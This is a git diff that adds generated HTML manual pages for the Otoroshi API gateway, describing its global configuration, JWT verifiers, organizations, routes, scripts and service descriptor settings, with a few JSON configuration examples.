  • Default domain: When the SNI domain cannot be found, this one will be used to find the matching certificate 
  • +
  • Trust JDK CAs (server): Trust JDK CAs. The CAs from the JDK CA bundle will be proposed in the certificate request when performing TLS handshake 
  • +
  • Trust JDK CAs (trust): Trust JDK CAs. The CAs from the JDK CA bundle will be used as trusted CAs when calling HTTPS resources 
  • +
  • Trusted CAs (server): Select the trusted CAs you want for TLS terminaison. Those CAs only will be proposed in the certificate request when performing TLS handshake 
  • +
+

Auto Generate Certificates

+
    +
  • Enabled: Generate certificates on the fly when they don’t exist
  • +
  • Reply Nicely: When receiving request from a not allowed domain name, accept connection and display a nice error message 
  • +
  • CA: certificate CA used to generate missing certificate
  • +
  • Allowed domains: Allowed domains
  • +
  • Not allowed domains: Not allowed domains
  • +
+

Global metadata

+
    +
  • Tags: tags attached to the global config
  • +
  • Metadata: metadata attached to the global config
  • +
+

Actions at the bottom of the page

+
    +
  • Recover from a full export file: Load global configuration from a previous export
  • +
  • Full export: Export with all created entities
  • +
  • Full export (ndjson): Export your full state of database to ndjson format
  • +
  • JSON: Get the global config at JSON format 
  • +
  • YAML: Get the global config at YAML format 
  • +
  • Enable Panic Mode: Log out all users from UI and prevent any changes to the database by setting the admin Otoroshi api to read-only. The only way to exit of this mode is to disable this mode directly in the database. 
  • +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/index.html b/docs/manual/entities/index.html new file mode 100644 index 0000000000..1544ea06c5 --- /dev/null +++ b/docs/manual/entities/index.html @@ -0,0 +1,477 @@ + + + + +Main entities · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Main entities

+

In this section, we will pass through all the main Otoroshi entities. Otoroshi entities are the main items stored in otoroshi datastore that will be used to configure routing, authentication, etc.

+

Any entity has the following properties

+
    +
  • location or _loc: the location of the entity (organization and team)
  • +
  • id: the id of the entity (except for apikeys)
  • +
  • name: the name of the entity
  • +
  • description: the description of the entity (optional)
  • +
  • tags: free tags that you can put on any entity to help you manage it, automate it, etc.
  • +
  • metadata: free key/value tuples that you can put on any entity to help you manage it, automate it, etc.
  • +
+ +
+Routes +Proxy your applications with routes +
+

View

+ +
+Backends +Reuse route targets +
+

View

+ +
+Apikeys +Add security to your services using apikeys +
+

View

+ +
+Organizations +This the most high level for grouping resources. +
+

View

+ +
+Teams +Organize your resources by teams +
+

View

+ +
+Service groups +Group your services +
+

View

+ +
+JWT verifiers +Verify and forge token by services. +
+

View

+ +
+Global Config +The danger zone of Otoroshi +
+

View

+ +
+TCP services + +
+

View

+ +
+Auth. modules +Secure the Otoroshi UI and your web apps +
+

View

+ +
+Certificates +Add secure communication between Otoroshi, clients and services +
+

View

+ +
+Data exporters +Export alerts, events ands logs +
+

View

+ +
+Scripts + +
+

View

+ +
+Service descriptors +Proxy your applications with service descriptors +
+

View

+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/jwt-verifiers.html b/docs/manual/entities/jwt-verifiers.html new file mode 100644 index 0000000000..d970051d9c --- /dev/null +++ b/docs/manual/entities/jwt-verifiers.html @@ -0,0 +1,523 @@ + + + + +JWT verifiers · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

JWT verifiers

+

Sometimes, it can be pretty useful to verify Jwt tokens coming from other provider on some services. Otoroshi provides a tool to do that per service.

+
    +
  • Name: name of the JWT verifier
  • +
  • Description: a simple description
  • +
  • Strict: if not strict, request without JWT token will be allowed to pass. This option is helpful when you want to force the presence of tokens in each request on a specific service
  • +
  • Tags: list of tags associated to the module
  • +
  • Metadata: list of metadata associated to the module
  • +
+

Each JWT verifier is configurable in three steps : the location where find the token in incoming requests, the validation step to check the signature and the presence of claims in tokens, and the last step, named Strategy.

+

Token location

+

An incoming token can be found in three places.

+

In query string

+
    +
  • Source: JWT token location in query string
  • +
  • Query param name: the name of the query param where JWT is located
  • +
+

In a header

+
    +
  • Source: JWT token location in a header
  • +
  • Header name: the name of the header where JWT is located
  • +
  • Remove value: when the token is read, this value will be remove of header value (example: if the header value is Bearer xxxx, the remove value could be Bearer  don’t forget the space at the end of the string)
  • +
+

In a cookie

+
    +
  • Source: JWT token location in a cookie
  • +
  • Cookie name: the name of the cookie where JWT is located
  • +
+

Token validation

+

This section is used to verify the extracted token from specified location.

+
    +
  • Algo.: What kind of algorithm you want to use to verify/sign your JWT token with
  • +
+

According to the selected algorithm, the validation form will change.

+

Hmac + SHA

+
    +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • Hmac secret: used to verify the token
  • +
  • Base64 encoded secret: if enabled, the extracted token will be base64 decoded before it is verifier
  • +
+

RSASSA-PKCS1 + SHA

+
    +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • Public key: the RSA public key
  • +
  • Private key: the RSA private key that can be empty if not used for JWT token signing
  • +
+

ECDSA + SHA

+
    +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • Public key: the ECDSA public key
  • +
  • Private key: the ECDSA private key that can be empty if not used for JWT token signing
  • +
+

RSASSA-PKCS1 + SHA from KeyPair

+
    +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • KeyPair: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page
  • +
+

ECDSA + SHA from KeyPair

+
    +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • KeyPair: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page
  • +
+

Otoroshi KeyPair from token kid (only for verification)

+
    +
  • Use only exposed keypairs: if enabled, Otoroshi will only use the key pairs that are exposed on the well-known. If disabled, it will search on any registered key pairs.
  • +
+

JWK Set (only for verification)

+
    +
  • URL: the JWK set URL where the public keys are exposed
  • +
  • HTTP call timeout: timeout for fetching the keyset
  • +
  • TTL: cache TTL for the keyset
  • +
  • HTTP Headers: the HTTP headers passed
  • +
  • Key type: type of the key searched in the jwks
  • +
+

TLS settings for JWKS fetching

+
    +
  • Custom TLS Settings: TLS settings for JWKS fetching
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • Trust all: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with JWKS server
  • +
  • Trusted certificates: list of trusted certificates received from JWKS server
  • +
+

Proxy

+
    +
  • Proxy host: host of proxy behind the identify provider
  • +
  • Proxy port: port of proxy behind the identify provider
  • +
  • Proxy principal: user of proxy
  • +
  • Proxy password: password of proxy
  • +
+

Strategy

+

The first step is to select the verifier strategy. Otoroshi supports 4 types of JWT verifiers:

+
    +
  • Default JWT token will add a token if no present.
  • +
  • Verify JWT token will only verifiy token signing and fields values if provided.
  • +
  • Verify and re-sign JWT token will verify the token and will re-sign the JWT token with the provided algo. settings.
  • +
  • Verify, re-sign and transform JWT token will verify the token, re-sign and will be able to transform the token.
  • +
+

All verifiers has the following properties:

+
    +
  • Verify token fields: when the JWT token is checked, each field specified here will be verified with the provided value
  • +
  • Verify token array value: when the JWT token is checked, each field specified here will be verified if the provided value is contained in the array
  • +
+

Default JWT token

+
    +
  • Strict: if token is already present, the call will fail
  • +
  • Default value: list of claims of the generated token. These fields support raw values or language expressions. See the documentation about the expression language
  • +
+

Verify JWT token

+

No specific values needed. This kind of verifier needs only the two fields Verify token fields and Verify token array value.

+

Verify and re-sign JWT token

+

When Verify and re-sign JWT token is chosen, the Re-sign settings appear. All fields of Re-sign settings are the same of the Token validation section. The only difference is that the values are used to sign the new token and not to validate the token.

+

Verify, re-sign and transform JWT token

+

When Verify, re-sign and transform JWT token is chosen, the Re-sign settings and Transformation settings appear.

+

The Re-sign settings are used to sign the new token and has the same fields than the Token validation section.

+

For the Transformation settings section, the fields are:

+
    +
  • Token location: the location where to find/set the JWT token
  • +
  • Header name: the name of the header where JWT is located
  • +
  • Prepend value: remove a value inside the header value
  • +
  • Rename token fields: when the JWT token is transformed, it is possible to change a field name, just specify origin field name and target field name
  • +
  • Set token fields: when the JWT token is transformed, it is possible to add new field with static values, just specify field name and value
  • +
  • Remove token fields: when the JWT token is transformed, it is possible to remove fields
  • +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/organizations.html b/docs/manual/entities/organizations.html new file mode 100644 index 0000000000..eedbfc5ab6 --- /dev/null +++ b/docs/manual/entities/organizations.html @@ -0,0 +1,434 @@ + + + + +Organizations · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Organizations

+

The resources of Otoroshi are grouped by Organization. This the highest level for grouping resources.

+

An organization have a unique id, a name and a description. As all Otoroshi resources, an Organization have a list of tags and metadata associated.

+

For example, you can use the organizations as a mean of :

+
    +
  • to seperate resources by services or entities in your enterprise
  • +
  • to split internal and external usage of the resources (it’s useful when you have a list of services deployed in your company and another one deployed by your partners)
  • +
+
+

Access to the list of organizations

+

To visualize and edit the list of organizations, you can navigate to your instance on the https://otoroshi.xxxxxx/bo/dashboard/organizations route or click on the cog icon and select the organizations button.

+

Once on the page, you can create a new item, edit an existing organization or delete an existing one.

+
+

When an organization is deleted, the resources associated are not deleted. On the other hand, the organization and the team of associated resources are let empty.

+
+

Entities location

+

Any otoroshi entity has a location property (_loc when serialized to json) explaining where and by whom the entity can be seen.

+

An entity can be part of one organization (tenant in the json document)

+
{
+  "_loc": {
+    "tenant": "tenant-1",
+    "teams": ...
+  }
+  ...
+}
+
+

or all organizations

+
{
+  "_loc": {
+    "tenant": "*",
+    "teams": ...
+  }
+  ...
+}
+
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/routes.html b/docs/manual/entities/routes.html new file mode 100644 index 0000000000..2cfde426fb --- /dev/null +++ b/docs/manual/entities/routes.html @@ -0,0 +1,477 @@ + + + + +Routes · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Routes

+

A route is an unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins and eventually forward the request to the backend application.

+

UI page

+

You can find all routes here

+

Global Properties

+
    +
  • location: the location of the entity
  • +
  • id: the id of the route
  • +
  • name: the name of the route
  • +
  • description: the description of the route
  • +
  • tags: the tags of the route. can be useful for api automation
  • +
  • metadata: the metadata of the route. can be useful for api automation. There are a few reserved metadata used by otorshi that can be found below
  • +
  • enabled: is the route enabled ? if not, the router will not consider this route
  • +
  • debugFlow: the debug flag. If enabled, the execution report for this route will contain all input/output values through steps of the proxy engine. For more informations, check the engine documentation
  • +
  • capture: if enabled, otoroshi will generate events containing the whole content of each request. Use with caution ! For more informations, check the engine documentation
  • +
  • exportReporting: if enabled, execution reports of the proxy engine will be generated for each request. Those reports are exportable using data exporters . For more informations, check the engine documentation
  • +
  • groups: each route is attached to a group. A group can have one or more services/routes. Each API key is linked to groups/routes/services and allow access to every entities in the groups.
  • +
+

Reserved metadata

+

some metadata are reserved for otoroshi usage. Here is the list of reserved metadata

+
    +
  • otoroshi-core-user-facing: is this a user facing app for the snow monkey
  • +
  • otoroshi-core-use-akka-http-client: use the pure akka http client
  • +
  • otoroshi-core-use-netty-http-client: use the pure netty http client
  • +
  • otoroshi-core-use-akka-http-ws-client: use the modern websocket client
  • +
  • otoroshi-core-issue-lets-encrypt-certificate: enabled let’s encrypt certificate issue for this route. true or false
  • +
  • otoroshi-core-issue-certificate: enabled certificate issue for this route. true or false
  • +
  • otoroshi-core-issue-certificate-ca: the id of the CA cert to generate the certificate for this route
  • +
  • otoroshi-core-openapi-url: the openapi url for this route
  • +
  • otoroshi-core-env: the env for this route. here for legacy reasons
  • +
  • otoroshi-deployment-providers: in the case of relay routing, the providers for this route
  • +
  • otoroshi-deployment-regions: in the case of relay routing, the network regions for this route
  • +
  • otoroshi-deployment-zones: in the case of relay routing, the network zone for this route
  • +
  • otoroshi-deployment-dcs: in the case of relay routing, the datacenter for this route
  • +
  • otoroshi-deployment-racks: in the case of relay routing, the rack for this route
  • +
+

Frontend configuration

+
    +
  • frontend: the frontend of the route. It’s the configuration that will configure how otoroshi router will match this route. A frontend has the following shape.
  • +
+
{
+  "domains": [ // the matched domains and paths
+    "new-route.oto.tools/path" // here you can use wildcard in domain and path, also you can use named path params
+  ],
+  "strip_path": true, // is the matched path stripped in the forwarded request
+  "exact": false, // perform exact matching on path, if not, will be matched on /path*
+  "headers": {}, // the matched http headers. if none provided, any header will be matched
+  "query": {}, // the matched http query params. if none provided, any query params will be matched
+  "methods": [] // the matched http methods. if none provided, any method will be matched
+}
+
+

For more informations about routing, check the engine documentation

+

Backend configuration

+
    +
  • backend: a backend to forward requests to. For more informations, go to the backend documentation
  • +
  • backendRef: a reference to an existing backend id
  • +
+

Plugins

+

the liste of plugins used on this route. Each plugin definition has the following shape:

+
{
+  "enabled": false, // is the plugin enabled
+  "debug": false, // is debug enabled of this specific plugin
+  "plugin": "cp:otoroshi.next.plugins.Redirection", // the id of the plugin
+  "include": [], // included paths. if none, all paths are included
+  "exclude": [], // excluded paths. if none, none paths are excluded
+  "config": { // the configuration of the plugin
+    "code": 303,
+    "to": "https://www.otoroshi.io"
+  },
+  "plugin_index": { // the position of the plugin. if none provided, otoroshi will use the order in the plugin array
+    "pre_route": 0
+  }
+}
+
+

for more informations about the available plugins, go here

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/scripts.html b/docs/manual/entities/scripts.html new file mode 100644 index 0000000000..b6ab49c930 --- /dev/null +++ b/docs/manual/entities/scripts.html @@ -0,0 +1,416 @@ + + + + +Scripts · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Scripts

+

Script are a way to create plugins for otoroshi without deploying them as jar files. With scripts, you just have to store the scala code of your plugins inside the otoroshi datastore and otoroshi will compile and deploy them at startup. You can find all your scripts in the UI at cog icon / Plugins. You can find all the documentation about plugins here

Warning
+

The compilation of your plugins can be pretty long and resources consuming. As the compilation happens during otoroshi boot sequence, your instance will be blocked until all plugins have compiled. This behavior can be disabled. If so, the plugins will not work until they have been compiled. Any service using a plugin that is not compiled yet will fail

+

Like any entity, the script has has the following properties

+
    +
  • id
  • +
  • plugin name
  • +
  • plugin description
  • +
  • tags
  • +
  • metadata
  • +
+

And you also have

+
    +
  • type: the kind of plugin you are building with this script
  • +
  • plugin code: the code for your plugin
  • +
+

Compile

+

You can use the compile button to check if the code you write in plugin code is valid. It will automatically save your script and try to compile. As mentionned earlier, script compilation is quite resource intensive. It will affect your CPU load and your memory consumption. Don’t forget to adjust your VM settings accordingly.

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/service-descriptors.html b/docs/manual/entities/service-descriptors.html new file mode 100644 index 0000000000..3c50ad50f0 --- /dev/null +++ b/docs/manual/entities/service-descriptors.html @@ -0,0 +1,695 @@ + + + + +Service descriptors · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Service descriptors

+

Services or service descriptor, let you declare how to proxy a call from a domain name to another domain name (or multiple domain names).

+
+

Let’s say you have an API exposed on http://192.168.0.42 and I want to expose it on https://my.api.foo. Otoroshi will proxy all calls to https://my.api.foo and forward them to http://192.168.0.42. While doing that, it will also log everyhting, control accesses, etc.

+
    +
  • Id: a unique random string to identify your service
  • +
  • Groups: each service descriptor is attached to a group. A group can have one or more services. Each API key is linked to a group and allow access to every service in the group.
  • +
  • Create a new group: you can create a new group to host this descriptor
  • +
  • Create dedicated group: you can create a new group with an auto generated name to host this descriptor
  • +
  • Name: the name of your service. Only for debug and human readability purposes.
  • +
  • Description: the description of your service. Only for debug and human readability purposes.
  • +
  • Service enabled: activate or deactivate your service. Once disabled, users will get an error page saying the service does not exist.
  • +
  • Read only mode: authorize only GET, HEAD, OPTIONS calls on this service
  • +
  • Maintenance mode: display a maintainance page when a user try to use the service
  • +
  • Construction mode: display a construction page when a user try to use the service
  • +
  • Log analytics: Log analytics events for this service on the servers
  • +
  • Use new http client: will use Akka Http Client for every request
  • +
  • Detect apikey asap: If the service is public and you provide an apikey, otoroshi will detect it and validate it. Of course this setting may impact performances because of useless apikey lookups.
  • +
  • Send Otoroshi headers back: when enabled, Otoroshi will send headers to consumer like request id, client latency, overhead, etc …
  • +
  • Override Host header: when enabled, Otoroshi will automatically set the Host header to corresponding target host
  • +
  • Send X-Forwarded-* headers: when enabled, Otoroshi will send X-Forwarded-* headers to target
  • +
  • Force HTTPS: will force redirection to https:// if not present
  • +
  • Allow HTTP/1.0 requests: will return an error on HTTP/1.0 request
  • +
  • Use new WebSocket client: will use the new websocket client for every websocket request
  • +
  • TCP/UDP tunneling: with this setting enabled, otoroshi will not proxy http requests anymore but instead will create a secured tunnel between a cli on your machine and otoroshi to proxy any tcp connection with all otoroshi security features enabled
  • +
+

Service exposition settings

+
    +
  • Exposed domain: the domain used to expose your service. Should follow pattern: (http|https)://subdomain?.env?.domain.tld?/root? or regex (http|https):\/\/(.*?)\.?(.*?)\.?(.*?)\.?(.*)\/?(.*)
  • +
  • Legacy domain: use domain, subdomain, env and matchingRoot for routing in addition to hosts, or just use hosts.
  • +
  • Strip path: when matching, strip the matching prefix from the upstream request URL. Defaults to true
  • +
  • Issue Let's Encrypt cert.: automatically issue and renew let’s encrypt certificate based on domain name. Only if Let’s Encrypt enabled in global config.
  • +
  • Issue certificate: automatically issue and renew a certificate based on domain name
  • +
  • Possible hostnames: all the possible hostnames for your service
  • +
  • Possible matching paths: all the possible matching paths for your service
  • +
+

Redirection

+
    +
  • Redirection enabled: enabled the redirection. If enabled, a call to that service will redirect to the chosen URL
  • +
  • Http redirection code: type of redirection used
  • +
  • Redirect to: URL used to redirect user when the service is called
  • +
+

Service targets

+
    +
  • Redirect to local: if you work locally with Otoroshi, you may want to use that feature to redirect one specific service to a local host. For example, you can relocate https://foo.preprod.bar.com to http://localhost:8080 to make some tests
  • +
  • Load balancing: the load balancing algorithm used
  • +
  • Targets: the list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures
  • +
  • Targets root: Otoroshi will append this root to any target choosen. If the specified root is /api/foo, then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar
  • +
+

URL Patterns

+
    +
  • Make service a 'public ui': add a default pattern as public routes
  • +
  • Make service a 'private api': add a default pattern as private routes
  • +
  • Public patterns: by default, every services are private only and you’ll need an API key to access it. However, if you want to expose a public UI, you can define one or more public patterns (regex) to allow access to anybody. For example if you want to allow anybody on any URL, just use /.*
  • +
  • Private patterns: if you define a public pattern that is a little bit too much, you can make some of public URL private again
  • +
+

Restrictions

+
    +
  • Enabled: enable restrictions
  • +
  • Allow last: Otoroshi will test forbidden and notFound paths before testing allowed paths
  • +
  • Allowed: allowed paths
  • +
  • Forbidden: forbidden paths
  • +
  • Not Found: not found paths
  • +
+

Otoroshi exchange protocol

+
    +
  • Enabled: when enabled, Otoroshi will try to exchange headers with backend service to ensure no one else can use the service from outside.
  • +
  • Send challenge: when disbaled, Otoroshi will not check if target service respond with sent random value.
  • +
  • Send info. token: when enabled, Otoroshi add an additional header containing current call informations
  • +
  • Challenge token version: version the otoroshi exchange protocol challenge. This option will be set to V2 in a near future.
  • +
  • Info. token version: version the otoroshi exchange protocol info token. This option will be set to Latest in a near future.
  • +
  • Tokens TTL: the number of seconds for tokens (state and info) lifes
  • +
  • State token header name: the name of the header containing the state token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.state)
  • +
  • State token response header name: the name of the header containing the state response token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.stateresp)
  • +
  • Info token header name: the name of the header containing the info token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.claim)
  • +
  • Excluded patterns: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.
  • +
  • Use same algo.: when enabled, all JWT token in this section will use the same signing algorithm. If use same algo. is disabled, three more options will be displayed to select an algorithm for each step of the calls : +
      +
    • Otoroshi to backend
    • +
    • Backend to otoroshi
    • +
    • Info. token
    • +
    +
  • +
  • +

    Algo.: What kind of algorithm you want to use to verify/sign your JWT token with

  • +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • Hmac secret: used to verify the token
  • +
  • Base64 encoded secret: if enabled, the extracted token will be base64 decoded before it is verifier
  • +
+

Authentication

+
    +
  • Enforce user authentication: when enabled, user will be allowed to use the service (UI) only if they are registered users of the chosen authentication module.
  • +
  • Auth. config: authentication module used to protect the service
  • +
  • Create a new auth config.: navigate to the creation of authentication module page
  • +
  • all auth config.: navigate to the authentication pages
  • +
  • +

    Excluded patterns: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.

  • +
  • Strict mode: strict mode enabled
  • +
+

Api keys constraints

+
    +
  • From basic auth.: you can pass the api key in Authorization header (ie. from ‘Authorization: Basic xxx’ header)
  • +
  • Allow client id only usage: you can pass the api key using client id only (ie. from Otoroshi-Token header)
  • +
  • From custom headers: you can pass the api key using custom headers (ie. Otoroshi-Client-Id and Otoroshi-Client-Secret headers)
  • +
  • From JWT token: you can pass the api key using a JWT token (ie. from ‘Authorization: Bearer xxx’ header)
  • +
+

Basic auth. Api Key

+
    +
  • Custom header name: the name of the header to get Authorization
  • +
  • Custom query param name: the name of the query param to get Authorization
  • +
+

Client ID only Api Key

+
    +
  • Custom header name: the name of the header to get the client id
  • +
  • Custom query param name: the name of the query param to get the client id
  • +
+

Custom headers Api Key

+
    +
  • Custom client id header name: the name of the header to get the client id
  • +
  • Custom client secret header name: the name of the header to get the client secret
  • +
+

JWT Token Api Key

+
    +
  • Secret signed: JWT can be signed by apikey secret using HMAC algo.
  • +
  • Keypair signed: JWT can be signed by an otoroshi managed keypair using RSA/EC algo.
  • +
  • Include Http request attrs.: if enabled, you have to put the following fields in the JWT token corresponding to the current http call (httpPath, httpVerb, httpHost)
  • +
  • Max accepted token lifetime: the maximum number of second accepted as token lifespan
  • +
  • Custom header name: the name of the header to get the jwt token
  • +
  • Custom query param name: the name of the query param to get the jwt token
  • +
  • Custom cookie name: the name of the cookie to get the jwt token
  • +
+

Routing constraints

+
    +
  • All Tags in : have all of the following tags
  • +
  • No Tags in : not have one of the following tags
  • +
  • One Tag in : have at least one of the following tags
  • +
  • All Meta. in : have all of the following metadata entries
  • +
  • No Meta. in : not have one of the following metadata entries
  • +
  • One Meta. in : have at least one of the following metadata entries
  • +
  • One Meta key in : have at least one of the following key in metadata
  • +
  • All Meta key in : have all of the following keys in metadata
  • +
  • No Meta key in : not have one of the following keys in metadata
  • +
+

CORS support

+
    +
  • Enabled: if enabled, CORS header will be check for each incoming request
  • +
  • Allow credentials: if enabled, the credentials will be sent. Credentials are cookies, authorization headers, or TLS client certificates.
  • +
  • Allow origin: if enabled, it will indicates whether the response can be shared with requesting code from the given
  • +
  • Max age: response header indicates how long the results of a preflight request (that is the information contained in the Access-Control-Allow-Methods and Access-Control-Allow-Headers headers) can be cached.
  • +
  • Expose headers: response header allows a server to indicate which response headers should be made available to scripts running in the browser, in response to a cross-origin request.
  • +
  • Allow headers: response header is used in response to a preflight request which includes the Access-Control-Request-Headers to indicate which HTTP headers can be used during the actual request.
  • +
  • Allow methods: response header specifies one or more methods allowed when accessing a resource in response to a preflight request.
  • +
  • Excluded patterns: by default, when cors is enabled, everything has cors. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.
  • +
+

Related documentations

+ +

JWT tokens verification

+
    +
  • Verifiers: list of selected verifiers to apply on the service
  • +
  • Enabled: if enabled, Otoroshi will enabled each verifier of the previous list
  • +
  • Excluded patterns: list of routes where the verifiers will not be apply
  • +
+

Pre Routing

+

This part has been deprecated and moved to the plugin section.

+

Access validation

+

This part has been deprecated and moved to the plugin section.

+

Gzip support

+
    +
  • Mimetypes allowed list: gzip only the files that are matching to a format in the list
  • +
  • Mimetypes blocklist: will not gzip files matching to a format in the list. A possible way is to allowed all format by default by setting a * on the Mimetypes allowed list and to add the unwanted format in this list.
  • +
  • Compression level: the compression level where 9 gives us maximum compression but at the slowest speed. The default compression level is 5 and is a good compromise between speed and compression ratio.
  • +
  • Buffer size: chunking up a stream of bytes into limited size
  • +
  • Chunk threshold: if the content type of a request reached over the threshold, the response will be chunked
  • +
  • Excluded patterns: by default, when gzip is enabled, everything has gzip. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.
  • +
+

Client settings

+
    +
  • Use circuit breaker: use a circuit breaker to avoid cascading failure when calling chains of services. Highly recommended !
  • +
  • Cache connections: use a cache at host connection level to avoid reconnection time
  • +
  • Client attempts: specify how many times the client will retry to fetch the result of the request after an error before giving up.
  • +
  • Client call timeout: specify how long each call should last at most in milliseconds.
  • +
  • Client call and stream timeout: specify how long each call should last at most in milliseconds for handling the request and streaming the response.
  • +
  • Client connection timeout: specify how long each connection should last at most in milliseconds.
  • +
  • Client idle timeout: specify how long each connection can stay in idle state at most in milliseconds.
  • +
  • Client global timeout: specify how long the global call (with retries) should last at most in milliseconds.
  • +
  • C.breaker max errors: specify how many errors can pass before opening the circuit breaker
  • +
  • C.breaker retry delay: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor
  • +
  • C.breaker backoff factor: specify the factor to multiply the delay for each retry
  • +
  • C.breaker window: specify the sliding window time for the circuit breaker in milliseconds, after this time, error count will be reseted
  • +
+

Custom timeout settings (list)

+
    +
  • Path: the path on which the timeout will be active
  • +
  • Client connection timeout: specify how long each connection should last at most in milliseconds.
  • +
  • Client idle timeout: specify how long each connection can stay in idle state at most in milliseconds.
  • +
  • Client call and stream timeout: specify how long each call should last at most in milliseconds for handling the request and streaming the response.
  • +
  • Call timeout: Specify how long each call should last at most in milliseconds.
  • +
  • Client global timeout: specify how long the global call (with retries) should last at most in milliseconds.
  • +
+

Proxy settings

+
    +
  • Proxy host: host of proxy behind the identify provider
  • +
  • Proxy port: port of proxy behind the identify provider
  • +
  • Proxy principal: user of proxy
  • +
  • Proxy password: password of proxy
  • +
+

HTTP Headers

+
    +
  • Additional Headers In: specify headers that will be added to each client request (from Otoroshi to target). Useful to add authentication.
  • +
  • Additional Headers Out: specify headers that will be added to each client response (from Otoroshi to client).
  • +
  • Missing only Headers In: specify headers that will be added to each client request (from Otoroshi to target) if not in the original request.
  • +
  • Missing only Headers Out: specify headers that will be added to each client response (from Otoroshi to client) if not in the original response.
  • +
  • Remove incoming headers: remove headers in the client request (from client to Otoroshi).
  • +
  • Remove outgoing headers: remove headers in the client response (from Otoroshi to client).
  • +
  • Security headers:
  • +
  • Utility headers:
  • +
  • Matching Headers: specify headers that MUST be present on client request to route it (pre routing). Useful to implement versioning.
  • +
  • Headers verification: verify that some headers has a specific value (post routing)
  • +
+

Additional settings

+
    +
  • OpenAPI: specify an open API descriptor. Useful to display the documentation
  • +
  • Tags: specify tags for the service
  • +
  • Metadata: specify metadata for the service. Useful for analytics
  • +
  • IP allowed list: IP address that can access the service
  • +
  • IP blocklist: IP address that cannot access the service
  • +
+

Canary mode

+
    +
  • Enabled: Canary mode enabled
  • +
  • Traffic split: Ratio of traffic that will be sent to canary targets. For instance, if traffic is at 0.2, for 10 request, 2 request will go on canary targets and 8 will go on regular targets.
  • +
  • Targets: The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures
  • +
  • Target:
  • +
  • Targets root: Otoroshi will append this root to any target choosen. If the specified root is ‘/api/foo’, then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar
  • +
  • Campaign stats:
  • +
  • Use canary targets as standard targets:
  • +
+

Healthcheck settings

+
    +
  • HealthCheck enabled: to help failing fast, you can activate healthcheck on a specific URL.
  • +
  • HealthCheck url: the URL to check. Should return an HTTP 200 response. You can also respond with an ‘Opun-Health-Check-Logic-Test-Result’ header set to the value of the ‘Opun-Health-Check-Logic-Test’ request header + 42. to make the healthcheck complete.
  • +
+

Fault injection

+
    +
  • User facing app.: if service is set as user facing, Snow Monkey can be configured to not being allowed to create outage on them.
  • +
  • Chaos enabled: activate or deactivate chaos setting on this service descriptor.
  • +
+

Custom errors template

+
    +
  • 40x template: html template displayed when 40x error occurred
  • +
  • 50x template: html template displayed when 50x error occurred
  • +
  • Build mode template: html template displayed when the build mode is enabled
  • +
  • Maintenance mode template: html template displayed when the maintenance mode is enabled
  • +
  • Custom messages: override error message one by one
  • +
+

Request transformation

+

This part has been deprecated and moved to the plugin section.

+

Plugins

+
    +
  • Plugins: +
      +
    • Inject default config: injects, if present, the default configuration of a selected plugin in the configuration object
    • +
    • Documentation: link to the documentation website of the plugin
    • +
    • show/hide config. panel: shows and hides the plugin panel which contains the plugin description and configuration
    • +
    +
  • +
  • Excluded patterns: by default, when plugins are enabled, everything pass in. But sometimes you need to exclude something, so just add regex to matching path you want to exlude.
  • +
  • Configuration: the configuration of each enabled plugin, split by names and grouped in the same configuration object.
  • +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
